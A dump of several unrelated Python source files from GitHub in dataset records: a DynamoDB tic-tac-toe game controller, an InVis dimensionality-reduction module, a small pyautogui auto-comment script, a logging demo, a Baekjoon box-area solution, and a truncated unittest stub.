created and saved to the table.\n All the primary keys for either the schema or an index (GameId,\n HostId, StatusDate, and OpponentId) as well as extra attributes needed to maintain\n game state are given a value.\n Returns True/False depending on the success of the save.\n \"\"\"\n\n now = str(datetime.now())\n statusDate = \"PENDING_\" + now\n result = True \n try:\n self.cm.getGamesTable().put_item(\n Item = {\n \"GameId\" : gameId,\n \"HostId\" : creator,\n \"StatusDate\" : statusDate,\n \"OUser\" : creator,\n \"Turn\" : invitee,\n \"OpponentId\" : invitee\n })\n except ClientError as ce:\n result = False \n return True\n \n def getGame(self, gameId):\n \"\"\"\n Basic get_item call on the Games Table, where we specify the primary key\n GameId to be the parameter gameId.\n Returns None on an ItemNotFound Exception.\n \"\"\"\n try:\n item = self.cm.getGamesTable().get_item(\n Key={'GameId':gameId})\n except ClientError as ce:\n print(f\"getGame ERROR : {ce}\")\n return None\n\n return item['Item']\n\n def acceptGameInvite(self, game):\n date = str(datetime.now())\n status = \"IN_PROGRESS_\"\n statusDate = status + date\n\n try:\n self.cm.getGamesTable().update_item(\n Key= {\n \"GameId\" : game[\"GameId\"] \n },\n\n UpdateExpression='SET StatusDate = :val',\n ExpressionAttributeValues={\n ':val': statusDate\n },\n ConditionExpression=Attr('StatusDate').begins_with('PENDING_')\n )\n except ClientError as ce:\n return False\n\n return True\n\n def rejectGameInvite(self, game):\n \"\"\"\n Reject the game invite, by deleting the Item from the table.\n Conditional on the fact the game is still in the PENDING status.\n Returns True/False depending on success of delete.\n \"\"\"\n\n try:\n self.cm.getGamesTable().delete_item(\n Key={'GameId': game[\"GameId\"]},\n ConditionExpression=Attr('StatusDate').begins_with('PENDING_')\n )\n except Exception as e:\n return False\n\n return True\n\n def getGameInvites(self,user):\n \"\"\"\n Performs a query on the \"OpponentId-StatusDate-index\" in order to get the\n 10 most recent games you were invited to.\n Returns a list of Game objects.\n \"\"\"\n invites = []\n if user == None:\n return invites\n\n gameInvitesIndex = self.cm.getGamesTable().query(\n KeyConditionExpression = Key('OpponentId').eq(user) & Key('StatusDate').begins_with('PENDING_'),\n IndexName=\"OpponentId-StatusDate-index\",\n Limit=10\n )\n\n for i in range(gameInvitesIndex['Count']):\n try:\n gameInvite = next(iter(gameInvitesIndex['Items']))\n except StopIteration as si:\n break\n except ClientError as ce:\n if ce.body.get(u'__type', None) == self.ResourceNotFound:\n return None\n else:\n raise ce\n\n invites.append(gameInvite)\n\n return invites\n\n def updateBoardAndTurn(self, item, position, current_player):\n \"\"\"\n Using the Low Level API, we execute a conditional write on the Item.\n We are able to specify the particular item by passing in the keys param, in\n this case it's just a GameId.\n In expectations, we expect\n the StatusDate to be IN_PROGRESS_,\n the Turn to be the player who is currently logged in,\n the \"Space\" to not exist as an attribute because it hasn't been written to yet.\n If this succeeds we update the Turn to the next player, as well.\n Returns True/False depending on the success of the these operations.\n \"\"\"\n player_one = item[\"HostId\"]\n player_two = item[\"OpponentId\"]\n gameId = item[\"GameId\"]\n statusDate = item[\"StatusDate\"]\n date = statusDate.split(\"_\")[1]\n\n representation = \"X\"\n if item[\"OUser\"] == current_player:\n representation = \"O\"\n\n if current_player == player_one:\n next_player = player_two\n else:\n next_player = player_one\n\n # LOW LEVEL API\n try:\n self.cm.getGamesTable().update_item(Key={ 'GameId' : gameId },\n UpdateExpression='SET #p = :pos, Turn = :turn',\n ExpressionAttributeValues={\n ':pos': representation,\n ':turn': next_player\n },\n ExpressionAttributeNames={\n \"#p\": position\n },\n ConditionExpression=Attr('StatusDate').begins_with('IN_PROGRESS_') & \n Attr('Turn').eq(current_player) & \n Attr(position).not_exists())\n except ClientError as ce:\n return False\n\n return True\n\n\n def getBoardState(self, item):\n \"\"\"\n Puts the state of the board into a list, putting a blank space for\n spaces that are not occupied.\n \"\"\"\n squares = [\"TopLeft\", \"TopMiddle\", \"TopRight\", \"MiddleLeft\", \"MiddleMiddle\", \"MiddleRight\", \\\n \"BottomLeft\", \"BottomMiddle\", \"BottomRight\"]\n state = []\n for square in squares:\n try:\n value = item[square]\n state.append(value)\n except KeyError as ke:\n state.append(\" \")\n \n return state\n\n def checkForGameResult(self, board, item, current_player):\n \"\"\"\n Check the board to see if you've won,lost tied or in progress.\n Returns \"Win\", \"Loss\", \"Tie\" or None (for in-progress)\n \"\"\"\n yourMarker = \"X\"\n theirMarker = \"O\"\n if current_player == item[\"OUser\"]:\n yourMarker = \"O\"\n theirMakrer = \"X\"\n\n winConditions = [[0,3,6],[0,1,2],[0,4,8],\n [1,4,7],[2,5,8],[2,4,6],\n [3,4,5],[6,7,8]]\n\n for winCondition in winConditions:\n b_zero = board[winCondition[0]]\n b_one = board[winCondition[1]]\n b_two = board[winCondition[2]]\n if b_zero == b_one and \\\n b_one == b_two and \\\n b_two == yourMarker:\n return \"Win\"\n\n if b_zero == b_one and \\\n b_one == b_two and \\\n b_two == theirMarker:\n return \"Lose\"\n\n if self.checkForTie(board):\n return \"Tie\"\n\n return None\n\n def checkForTie(self, board):\n \"\"\"\n Checks the boardState to see if there are any empty spaces which would\n signify that the game hasn't come to a stalemate yet.\n \"\"\"\n for cell in board:\n if cell == \" \":\n return False\n return True\n\n def changeGameToFinishedState(self, item, result, current_user):\n \"\"\"\n This game verifies whether a game has an outcome already and if not\n sets the StatusDate to FINISHED_ and fills the Result attribute\n with the name of the winning player.\n Returns True/False depending on the success of the operation.\n \"\"\"\n\n #Happens if you're visiting a game that already has a winner\n if 'Result' in item:\n return True\n\n date = str(datetime.now())\n status = \"FINISHED\"\n item[\"StatusDate\"] = status + \"_\" + date\n item[\"Turn\"] = \"N/A\"\n\n if result == \"Tie\":\n item[\"Result\"] = result\n elif result == \"Win\":\n item[\"Result\"] = current_user\n else:\n if item[\"HostId\"] == current_user:\n item[\"Result\"] = item[\"OpponentId\"]\n else:\n item[\"Result\"] = item[\"HostId\"]\n\n return self.cm.getGamesTable().put_item(Item=item)\n\n def mergeQueries(self, host, opp, limit=10):\n \"\"\"\n Taking the two iterators of games you've played in (either host or opponent)\n you sort through the elements taking the top 10 recent games into a list.\n Returns a list of Game objects.\n \"\"\"\n games = []\n game_one = None\n game_two = None\n while len(games) <= limit:\n if game_one == None:\n try:\n game_one = next(host)\n except StopIteration as si:\n if game_two != None:\n games.append(game_two)\n\n for rest in opp:\n if len(games) == limit:\n break\n else:\n games.append(rest)\n return games\n\n if game_two == None:\n try:\n game_two = next(opp)\n except StopIteration as si:\n if game_one != None:\n games.append(game_one)\n\n for rest in host:\n if len(games) == limit:\n break\n else:\n games.append(rest)\n return games\n\n if game_one['StatusDate'] > game_two['StatusDate']:\n games.append(game_one)\n game_one = None\n else:\n games.append(game_two)\n game_two = None\n\n return games\n\n def getGamesWithStatus(self, user, status):\n \"\"\"\n Query for all games that a user appears in and have a certain status.\n Sorts/merges the results of the two queries for top 10 most recent games.\n Return a list of Game objects.\n \"\"\"\n\n if user == None:\n return []\n\n hostGamesInProgress = self.cm.getGamesTable().query(\n KeyConditionExpression = Key('HostId').eq(user) & Key('StatusDate').begins_with(status),\n IndexName=\"HostId-StatusDate-index\",\n Limit=10\n )\n\n oppGamesInProgress = self.cm.getGamesTable().query(\n KeyConditionExpression = Key('OpponentId').eq(user) & Key('StatusDate').begins_with(status),\n IndexName=\"OpponentId-StatusDate-index\",\n Limit=10 \n )\n\n games = self.mergeQueries(iter(hostGamesInProgress['Items']), iter(oppGamesInProgress['Items']))\n return games\n","repo_name":"sebsto/tictactoe-dynamodb","sub_path":"dynamodb/gameController.py","file_name":"gameController.py","file_ext":"py","file_size_in_byte":11400,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"34"} +{"seq_id":"32452136579","text":"#!/usr/bin/python\nimport numpy as np\nfrom copy import copy\nfrom matplotlib.mlab import PCA\nfrom sklearn import manifold\nfrom sklearn import decomposition\nfrom collections import defaultdict\n# from scipy.spatial import distance\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nfrom PyQt4.Qt import *\n# explicitly imported \"hidden imports\" for pyinstaller\n#from sklearn.utils import weight_vector, lgamma\nfrom sklearn.metrics.pairwise import euclidean_distances, pairwise_distances\n\n# Dinos solver\nimport cpca.solvers as solvers\nimport cpca.skpca as skpca\nimport cpca.kernel_gen as kernel_gen\nimport cpca.utils as utils\n\ntry:\n from sklearn.utils.sparsetools import _graph_validation\n from sklearn.neighbors import typedefs\nexcept:\n pass\n\n\nclass PopupSlider(QDialog):\n def __init__(self, label_text, default=4, minimum=1, maximum=20):\n QWidget.__init__(self)\n self.slider_value = 1\n\n name_label = QLabel()\n name_label.setText(label_text)\n name_label.setAlignment(Qt.AlignCenter)\n\n self.slider = QSlider(Qt.Horizontal)\n self.slider.setMinimum(minimum)\n self.slider.setMaximum(maximum)\n self.slider.setValue(default)\n\n self.value_label = QLabel()\n self.value_label.setText('%d' % (self.slider.value()))\n self.slider.valueChanged.connect(self.slider_changed)\n\n self.button = QPushButton('Ok', self)\n self.button.clicked.connect(self.handleButton)\n self.button.pressed.connect(self.handleButton)\n\n layout = QGridLayout(self)\n layout.addWidget(name_label , 1, 1, 1, 4, Qt.AlignLeft)\n layout.addWidget(self.slider , 2, 1, 2, 1, Qt.AlignLeft)\n layout.addWidget(self.value_label, 2, 2, 2, 2, Qt.AlignCenter)\n layout.addWidget(self.button , 2, 4, 2, 4, Qt.AlignRight)\n\n self.setWindowTitle('Parameter choice')\n\n\n def slider_changed(self):\n val = self.slider.value()\n self.value_label.setText('%d' %val)\n self.slider_value = val\n \n\n def handleButton(self):\n self.hide()\n\n\n\n\n\n\n\nclass Embedding(object):\n def __init__(self, data, points, parent):\n self.data = data\n self.original_control_points = None\n self.original_control_point_indices = None\n self.control_points = None\n self.control_point_indices = None\n self.parent = parent\n self.X = np.array([])\n self.Y = np.array([])\n self.ml = []\n self.cl = []\n self.has_ml_cl_constraints = False\n self.projection_matrix = np.zeros((2, len(self.data[0])))\n self.name = ''\n self.is_dynamic = False\n self.update_control_points(points)\n\n def get_embedding(self):\n pass\n\n def update_must_and_cannot_link(self, ml, cl):\n self.ml = ml\n self.cl = cl\n if (len(self.ml) > 0) or (len(self.cl) > 0):\n self.has_ml_cl_constraints = True\n else:\n self.has_ml_cl_constraints = False\n\n def augment_control_points(self, e):\n avg_median = np.average(abs(np.median(e, axis=0)))\n tmp_points = defaultdict(list)\n if len(self.cl) > 0:\n for pair in self.cl:\n if len(pair) == 2:\n i, j = list(pair)\n x1 = e[i]\n x2 = e[j]\n diff = x1 - x2\n norm = np.linalg.norm(diff)\n new_x1 = x1 + (diff/norm)*5*avg_median\n new_x2 = x2 - (diff/norm)*5*avg_median\n if i not in self.control_point_indices:\n e[i] = new_x1\n tmp_points[i] = new_x1\n if j not in self.control_point_indices:\n e[j] = new_x2\n tmp_points[j] = new_x2\n if len(self.ml) > 0:\n for pair in self.ml:\n if len(pair) == 2:\n i, j = list(pair)\n x1 = e[i]\n x2 = e[j]\n diff = x1 - x2\n new_x1 = x1 - 0.45*diff\n new_x2 = x2 + 0.45*diff\n if i not in self.control_point_indices:\n e[i] = new_x1\n tmp_points[i] = new_x1\n if j not in self.control_point_indices:\n e[j] = new_x2\n tmp_points[j] = new_x2\n for k,v in tmp_points.items():\n self.control_point_indices.append(k)\n self.control_points.append(v)\n self.X = self.data[self.control_point_indices]\n self.Y = np.array(self.control_points)\n\n def update_control_points(self, points):\n self.control_point_indices = []\n self.control_points = []\n for i, coords in points.items():\n self.control_point_indices.append(i)\n self.control_points.append(coords)\n self.X = self.data[self.control_point_indices]\n self.Y = np.array(self.control_points)\n\n def finished_relocating(self):\n pass\n\n\n\n\n\nclass PCA(Embedding):\n def __init__(self, data, control_points, parent):\n super(PCA, self).__init__(data, control_points, parent)\n self.name = \"PCA\"\n self.projection_matrix = None\n\n try:\n pca = decomposition.PCA(n_components=2)\n pca.fit(data)\n self.projection_matrix = pca.components_\n self.embedding = np.array(pca.transform(data))\n except:\n msg = \"It seems like the embedding algorithm did not converge with the given parameter setting\"\n QMessageBox.about(parent, \"Embedding error\", msg) \n \n\n def get_embedding(self):\n return self.embedding.T\n \n\n def update_control_points(self, points):\n pass\n\n\n\n\n\nclass LLE(Embedding):\n def __init__(self, data, control_points, parent):\n super(LLE, self).__init__(data, control_points, parent)\n self.name = \"LLE\"\n try:\n self.w = PopupSlider('Enter number of neighbors to consider (default is 4):')\n self.w.exec_()\n num = int(self.w.slider_value)\n if num == '':\n num = 4\n try:\n lle = manifold.LocallyLinearEmbedding(n_neighbors=int(num), out_dim=2)\n except:\n lle = manifold.LocallyLinearEmbedding(n_neighbors=int(num), n_components=2)\n lle.fit(data)\n self.embedding = np.array(lle.transform(data))\n except:\n msg = \"It seems like the embedding algorithm did not converge with the given parameter setting\"\n QMessageBox.about(parent, \"Embedding error\", msg)\n\n\n def get_embedding(self):\n return self.embedding.T\n \n\n def update_control_points(self, points):\n pass\n\n\n\n\n\n\nclass XY(Embedding):\n def __init__(self, data, control_points, parent):\n super(XY, self).__init__(data, control_points, parent)\n self.name = \"XY\"\n used_attributes = []\n for row in range(self.parent.series_list_model.rowCount()):\n model_index = self.parent.series_list_model.index(row, 0)\n checked = self.parent.series_list_model.data(model_index, Qt.CheckStateRole) == QVariant(Qt.Checked)\n if checked:\n if len(used_attributes) < 2:\n name = str(self.parent.series_list_model.data(model_index).toString())\n used_attributes.append(list(self.parent.data.attribute_names).index(name))\n # print self.parent.data.attribute_names[used_attributes[-1]]\n else:\n break\n\n self.embedding = np.array(self.parent.data.original_data.T[used_attributes].T) \n\n\n def get_embedding(self):\n return self.embedding.T\n \n\n def update_control_points(self, points):\n pass\n\n\n\n\n\n\n\nclass ISO(Embedding):\n def __init__(self, data, control_points, parent):\n super(ISO, self).__init__(data, control_points, parent)\n self.name = \"ISO\"\n try:\n self.w = PopupSlider('Enter number of neighbors to consider (default is 4):')\n self.w.exec_()\n num = int(self.w.slider_value)\n if num == '':\n num = 4\n try:\n iso = manifold.Isomap(n_neighbors=int(num), out_dim=2)\n except:\n iso = manifold.Isomap(n_neighbors=int(num), n_components=2)\n iso.fit(data)\n self.embedding = np.array(iso.transform(data)) \n except:\n msg = \"It seems like the embedding algorithm did not converge with the given parameter setting\"\n QMessageBox.about(parent, \"Embedding error\", msg)\n\n\n def get_embedding(self):\n return self.embedding.T\n \n\n def update_control_points(self, points):\n pass\n\n\n\n\n\n\n\n\nclass tSNE(Embedding):\n def __init__(self, data, control_points, parent):\n super(tSNE, self).__init__(data, control_points, parent)\n self.name = \"t-SNE\"\n try:\n self.w = PopupSlider('Enter perplexity (default is 30):', default=30, minimum=1, maximum=100)\n self.w.exec_()\n num = int(self.w.slider_value)\n if num == '':\n num = 30\n m, ok = QInputDialog.getText(parent, 'Metric', 'Enter number of the desired metric:\\n1) Euclidean (Default)\\n2) Jaccard\\n3) L1 norm')\n metric = 'euclidean'\n if m == '2':\n metric = 'jaccard'\n elif m == '3':\n metric = 'l1' \n tsne = manifold.TSNE(n_components=2, random_state=0, perplexity=num, metric=metric)\n self.embedding = np.array(tsne.fit_transform(data))\n except:\n msg = \"It seems like the embedding algorithm did not converge with the given parameter setting\"\n QMessageBox.about(parent, \"Embedding error\", msg) \n\n def get_embedding(self):\n return self.embedding.T\n \n\n def update_control_points(self, points):\n pass\n\n\n\n\n\n\nclass MDS(Embedding):\n def __init__(self, data, control_points, parent):\n super(MDS, self).__init__(data, control_points, parent)\n self.name = \"MDS\"\n metric, ok = QInputDialog.getText(parent, 'Metric', 'Please select a metric:\\n\\n1) L1\\n2) Euclidean (Default)\\n3) Cosine\\n4) Mahalanobis')\n if metric == '1':\n m = 'l1'\n elif metric == '2':\n m = 'euclidean'\n elif metric == '3':\n m = 'cosine'\n elif metric == '4':\n m = 'mahalanobis'\n else:\n m = 'euclidean'\n parent.setWindowTitle('InVis: ' + parent.data.dataset_name + ' (MDS [%s])'%m)\n dists = pairwise_distances(data, metric=m)\n dists = (dists + dists.T)/2.0\n e, stress = manifold.mds.smacof(dists, n_components=2)\n self.embedding = e\n\n\n def get_embedding(self):\n return self.embedding.T\n \n\n def update_control_points(self, points):\n pass\n\n\n\n\n\nclass ICA(Embedding):\n def __init__(self, data, control_points, parent):\n super(ICA, self).__init__(data, control_points, parent)\n self.name = \"ICA\"\n try:\n ica = decomposition.FastICA(n_components=2)\n ica.fit(data)\n self.embedding = np.array(ica.transform(data)) \n except:\n msg = \"It seems like the embedding algorithm did not converge with the given parameter setting\"\n QMessageBox.about(parent, \"Embedding error\", msg)\n\n\n def get_embedding(self):\n return self.embedding.T\n \n\n def update_control_points(self, points):\n pass\n\n\n \n \n\n\n\nclass LSP(Embedding):\n def __init__(self, data, points, parent):\n super(LSP, self).__init__(data, points, parent)\n self.name = \"LSP\"\n self.is_dynamic = True \n \n\n def get_embedding(self, X=[]):\n if X == []:\n X=self.data.T\n return np.dot(self.projection_matrix, X)\n \n\n def update_control_points(self, points):\n super(LSP, self).update_control_points(points)\n if len(self.Y) > 0:\n self.projection_matrix = np.dot(self.Y.T, np.linalg.pinv(self.X.T))\n else:\n self.projection_matrix = np.zeros((2, len(self.data[0])))\n if self.has_ml_cl_constraints:\n self.augment_control_points(self.get_embedding().T)\n if len(self.Y) > 0:\n self.projection_matrix = np.dot(self.Y.T, np.linalg.pinv(self.X.T))\n else:\n self.projection_matrix = np.zeros((2, len(self.data[0])))\n\n\n \n \n\n\n\nclass cPCA_dummy(Embedding):\n def __init__(self, data, points, parent):\n super(cPCA, self).__init__(data, points, parent)\n self.name = \"cPCA\"\n self.is_dynamic = True \n self.control_point_indices = []\n self.old_control_point_indices = []\n self.finished_relocating()\n \n\n def get_embedding(self):\n if set(self.control_point_indices) != self.old_control_point_indices:\n self.finished_relocating()\n self.old_control_point_indices = set(self.control_point_indices)\n return np.dot(self.projection_matrix, self.data.T)\n\n\n def finished_relocating(self):\n if len(self.Y) > 0:\n self.projection_matrix = np.dot(self.Y.T, np.linalg.pinv(self.X.T))\n else:\n self.projection_matrix = np.zeros((2, len(self.data[0])))\n\n \n \n\n\n\nclass cPCA(Embedding):\n def __init__(self, data, points, parent):\n self.data = data\n self.control_points = []\n self.control_point_indices = []\n self.parent = parent\n self.X = None\n self.Y = np.array([])\n self.projection_matrix = np.zeros((2, len(self.data[0])))\n self.name = ''\n self.is_dynamic = False\n\n self.ml = []\n self.cl = []\n self.has_ml_cl_constraints = False\n\n self.name = \"cPCA\"\n self.projection = np.zeros((2, len(data)))\n self.pca_projection = np.zeros((2, len(data)))\n self.is_dynamic = True \n self.old_control_point_indices = []\n\n self.params = {'r' : 3.0, 'slv_mode' : 'secular', 'sigma' : None, 'epsilon' : 0.5, 'degree' : 1}\n self.params['const_nu'] = 5e+3\n self.params['orth_nu'] = 5e+3\n self.params['sigma'] = utils.median_pairwise_distances(data)\n gk = kernel_gen.gaussian_kernel()\n # gk = kernel_gen.polynomial_kernel()\n K = gk.compute_matrix(data, self.params)\n self.embedder = solvers.embedder(2.56e-16, 800, True)\n self.kernel_sys = self.embedder.kernel_sys(K)\n self.parent.status_text.setText(\"Done, calculating Gaussean kernel.\")\n\n label_mask = np.array([0])\n self.quad_eig_sys = self.embedder.sph_cl_var_term_eig_sys(self.kernel_sys)\n self.quad_eig_sys_original = copy(self.quad_eig_sys)\n if len(self.control_point_indices) == 0:\n placement_mask = np.array([0])\n else:\n placement_mask = np.array(self.control_point_indices)\n self.const_mu = self.embedder.const_nu(self.params, placement_mask, self.kernel_sys)\n self.update_control_points(points)\n self.finished_relocating()\n if len(self.Y) == 0:\n pca_dirs = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, label_mask, np.ones((1,2)), self.kernel_sys, self.params, 1e-20)\n else:\n for i in range(len(self.control_point_indices)):\n self.quad_eig_sys = self.embedder.sph_cp_quad_term_eig_sys(self.kernel_sys, self.quad_eig_sys, self.control_point_indices[i], self.const_mu)\n pca_dirs = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, self.control_point_indices, self.Y, self.kernel_sys, self.params, self.const_mu)\n self.pca_projection = self.kernel_sys[0].dot(pca_dirs)\n\n\n def get_embedding(self, X=None):\n if set(self.control_point_indices) != self.old_control_point_indices:\n self.pca_projection = self.finished_relocating()\n self.old_control_point_indices = set(self.control_point_indices)\n return self.pca_projection.T\n\n\n def finished_relocating(self):\n if len(self.control_point_indices) > 0:\n directions = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, self.control_point_indices, self.Y, self.kernel_sys, self.params, self.const_mu)\n self.pca_projection = self.kernel_sys[0].dot(directions)\n return self.pca_projection\n\n\n def update_control_points(self, points):\n super(cPCA, self).update_control_points(points)\n if len(self.control_point_indices) > len(self.old_control_point_indices):\n selected_point = self.parent.selected_point\n if selected_point == None:\n selected_point = (list(set(self.control_point_indices) - set(self.old_control_point_indices)))[0]\n self.quad_eig_sys = self.embedder.sph_cp_quad_term_eig_sys(self.kernel_sys, self.quad_eig_sys, selected_point, self.const_mu)\n directions = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, self.control_point_indices, self.Y, self.kernel_sys, self.params, self.const_mu)\n self.pca_projection = self.kernel_sys[0].dot(directions)\n elif len(self.control_point_indices) < len(self.old_control_point_indices):\n self.quad_eig_sys = copy(self.quad_eig_sys_original)\n for i in range(len(self.control_point_indices)):\n self.quad_eig_sys = self.embedder.sph_cp_quad_term_eig_sys(self.kernel_sys, self.quad_eig_sys, self.control_point_indices[i], self.const_mu)\n if len(self.control_point_indices) == 0:\n pca_dirs = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, np.array([0]), np.ones((1,2)), self.kernel_sys, self.params, 1e-20)\n self.pca_projection = self.kernel_sys[0].dot(pca_dirs)\n else:\n pca_dirs = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, self.control_point_indices, self.Y, self.kernel_sys, self.params, self.const_mu)\n self.pca_projection = self.kernel_sys[0].dot(pca_dirs)\n self.old_control_point_indices = set(self.control_point_indices)\n\n if self.has_ml_cl_constraints:\n self.augment_control_points(self.get_embedding().T)\n self.quad_eig_sys = copy(self.quad_eig_sys_original)\n for i in range(len(self.control_point_indices)):\n self.quad_eig_sys = self.embedder.sph_cp_quad_term_eig_sys(self.kernel_sys, self.quad_eig_sys, self.control_point_indices[i], self.const_mu)\n if len(self.control_point_indices) == 0:\n pca_dirs = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, np.array([0]), np.ones((1,2)), self.kernel_sys, self.params, 1e-20)\n self.pca_projection = self.kernel_sys[0].dot(pca_dirs)\n else:\n pca_dirs = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, self.control_point_indices, self.Y, self.kernel_sys, self.params, self.const_mu)\n self.pca_projection = self.kernel_sys[0].dot(pca_dirs)\n\n \n \n\n\n\nclass MLE(Embedding):\n def __init__(self, data, points, parent):\n self.data = data\n self.control_points = []\n self.control_point_indices = []\n self.old_control_point_indices = []\n self.parent = parent\n self.X = None\n self.Y = None\n self.projection_matrix = None\n \n self.ml = []\n self.cl = []\n self.has_ml_cl_constraints = False\n\n pca = decomposition.PCA(n_components=2)\n pca.fit(self.data)\n self.M_base = pca.components_ # init M with PCA[1,2]\n self.M = self.M_base\n self.Psi_base = np.cov(self.data.T)\n self.sigma = 0.1*abs(np.min(self.Psi_base))\n self.Psi = self.Psi_base\n self.update_M_matrix()\n self.update_Psi_matrix()\n self.name = \"MLE\"\n self.is_dynamic = True \n self.probabilities = None\n\n self.update_control_points(points)\n\n def update_Psi_matrix(self):\n Y = self.data[self.control_point_indices].T\n W = np.array(self.control_points).T\n # print \"M :\", self.M_base.shape\n # print \"X_m:\", Y.shape\n # print \"Psi:\", self.Psi_base.shape\n # print \"Y_m:\", W.shape\n if len(self.control_point_indices) == 0:\n self.Psi = self.Psi_base\n else:\n self.Psi = self.Psi_base - self.Psi_base.dot(Y).dot(np.linalg.pinv(Y.T.dot(self.Psi_base).dot(Y) + self.sigma*np.eye(len(Y[0])))).dot(Y.T).dot(self.Psi_base)\n\n\n def update_M_matrix(self):\n Y = self.data[self.control_point_indices].T\n W = np.array(self.control_points).T\n if len(self.control_point_indices) == 0:\n self.M = self.M_base\n else:\n # print \"M :\", self.M_base.shape\n # print \"X_m:\", Y.shape\n # print \"Psi:\", self.Psi.shape\n # print \"Y_m:\", W.shape\n #self.M = self.M_base + (W - self.M_base.dot(Y)).dot(np.linalg.pinv(Y.T.dot(self.Psi).dot(Y) + self.sigma*np.eye(len(Y[0])))).dot(Y.T).dot(self.Psi)\n self.M = self.M_base + (W - self.M_base.dot(Y)).dot(np.linalg.pinv(Y.T.dot(self.Psi_base).dot(Y) + self.sigma*np.eye(len(Y[0])))).dot(Y.T).dot(self.Psi_base)\n\n\n def get_embedding(self, X=[]):\n if X == []:\n X=self.data.T\n self.projection_matrix = self.M\n return self.M.dot(X)\n \n\n def update_control_points(self, points):\n super(MLE, self).update_control_points(points)\n if set(self.control_point_indices) == self.old_control_point_indices:\n self.update_M_matrix()\n else:\n self.update_M_matrix()\n self.update_Psi_matrix()\n self.old_control_point_indices = set(self.control_point_indices)\n if self.has_ml_cl_constraints:\n self.augment_control_points(self.get_embedding().T)\n self.update_M_matrix()\n self.update_Psi_matrix()\n","repo_name":"invis-sherpa/invis-sherpa.github.io","sub_path":"InVis/Embedder.py","file_name":"Embedder.py","file_ext":"py","file_size_in_byte":22066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"5110680639","text":"import pyautogui\nimport time\n\ncomments = [\"Python bot autocomment\", \"Bot is working\", \"Bot is wrote this comment\"]\ntime.sleep(2)\nfor i in range(10):\n pyautogui.typewrite(comments[i%3])\n pyautogui.press(\"enter\")\n time.sleep(2)\n\n","repo_name":"Nikunj-dev/Automate-Facebook-Comments","sub_path":"automate_comments.py","file_name":"automate_comments.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"30498362550","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Aug 8 07:55:34 2023\r\n\r\n@author: steph\r\n\"\"\"\r\n\r\nimport os\r\nimport logging\r\n\r\n\r\n\r\n\r\nlogging_file = 'D:/wrx/py_crash.log'\r\n\r\nprint(\"Logging to\", logging_file)\r\n\r\nlogger = logging.getLogger(__name__)\r\nif not logger.handlers:\r\n logger.setLevel(logging.DEBUG)\r\n \r\n # create a file handler\r\n handler = logging.FileHandler(logging_file)\r\n #handler.setLevel(logging.DEBUG)\r\n \r\n # create a logging format\r\n formatter = logging.Formatter('%(asctime)s -%(name)s - %(levelname)s - %(message)s')\r\n handler.setFormatter(formatter)\r\n \r\n # add the handlers to the logger\r\n logger.addHandler(handler)\r\n\r\n\r\n\r\ndef eineProzedur():\r\n ret = 0\r\n logger.info(\"eineProzedur: eine Prozedur\")\r\n \r\n return ret\r\n\r\nlogger.debug(\"MAIN: Start of the program\")\r\nlogger.info(\"MAIN: Doing something\")\r\nlogger.warning(\"MAIN: Dying now\")\r\nlogger.error(\"MAIN: Error !!\")\r\nlogger.critical(\"Etwas wirklich schlimmes ist passiert!!\")\r\n\r\nx = eineProzedur()","repo_name":"stephan-meier/nextgen_internal","sub_path":"logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"28127983064","text":"import sys\n# input = sys.stdin.readline\nsys.stdin = open('input_2477.txt')\n\n'''\ns1 : 84ms / s2 : 80ms\n'''\n\n# K = int(input())\n# dir = [0] * 5 # 0, 동:1, 서:2, 남:3, 북:4 길이\n# d = [0] * 6 # 입력받는 방향\n# l = [0] * 6 # 입력받는 길이\n#\n# for i in range(6):\n# d[i], l[i] = map(int, input().split())\n#\n# # 방향을 돌면서 dir에 최종적으로 쓸 바깥 길이와, 안쪽 박스 길이 구하기\n# for i in range(6):\n# if d.count(d[i]) == 1: # 방향이 한번밖에 안 나온 경우 바깥 길이\n# dir[d[i]] = l[i]\n# elif d[i] == d[(i + 2) % 6]: # 중간 기준으로 앞뒤로 같은 방향이 나온 경우 안쪽 박스 길이\n# dir[d[(i + 1) % 6]] = l[(i + 1) % 6]\n#\n# large_w, large_h = max(dir[1], dir[2]), max(dir[3], dir[4]) # 둘중\n# small_w, small_h = min(dir[1], dir[2]), min(dir[3], dir[4])\n#\n# print((large_w * large_h - small_w * small_h) * K)\n\n\nK = int(input())\n\nd = [0] * 6 # 입력받는 방향\nl = [0] * 6 # 입력받는 길이\nlarge_box = 1\nsmall_box = 1\n\nfor i in range(6):\n d[i], l[i] = map(int, input().split())\n\n# 방향을 돌면서 dir에 최종적으로 쓸 바깥 길이와, 안쪽 박스 길이 구하기\nfor i in range(6):\n if d.count(d[i]) == 1: # 방향이 한번밖에 안 나온 경우 바깥 길이\n large_box *= l[i]\n elif d[i] == d[(i + 2) % 6]: # 중간 기준으로 앞뒤로 같은 방향이 나온 경우 안쪽 박스 길이\n small_box *= l[(i + 1) % 6]\n\nprint((large_box - small_box) * K)","repo_name":"sungyeon-0975/algo_study","sub_path":"210902/2477_kisol.py","file_name":"2477_kisol.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"34"} +{"seq_id":"12701139629","text":"import unittest\n\"\"\" Unit tests for technical indicators...\n\"\"\"\n\nclass aroon_test(unittest.TestCase):\n \"\"\"structure the tests with the function name and _test\"\"\"\n def test(self):\n self.assertEqual(aroon(1), 1)\n\n\nif __name__ == '__main__':\n 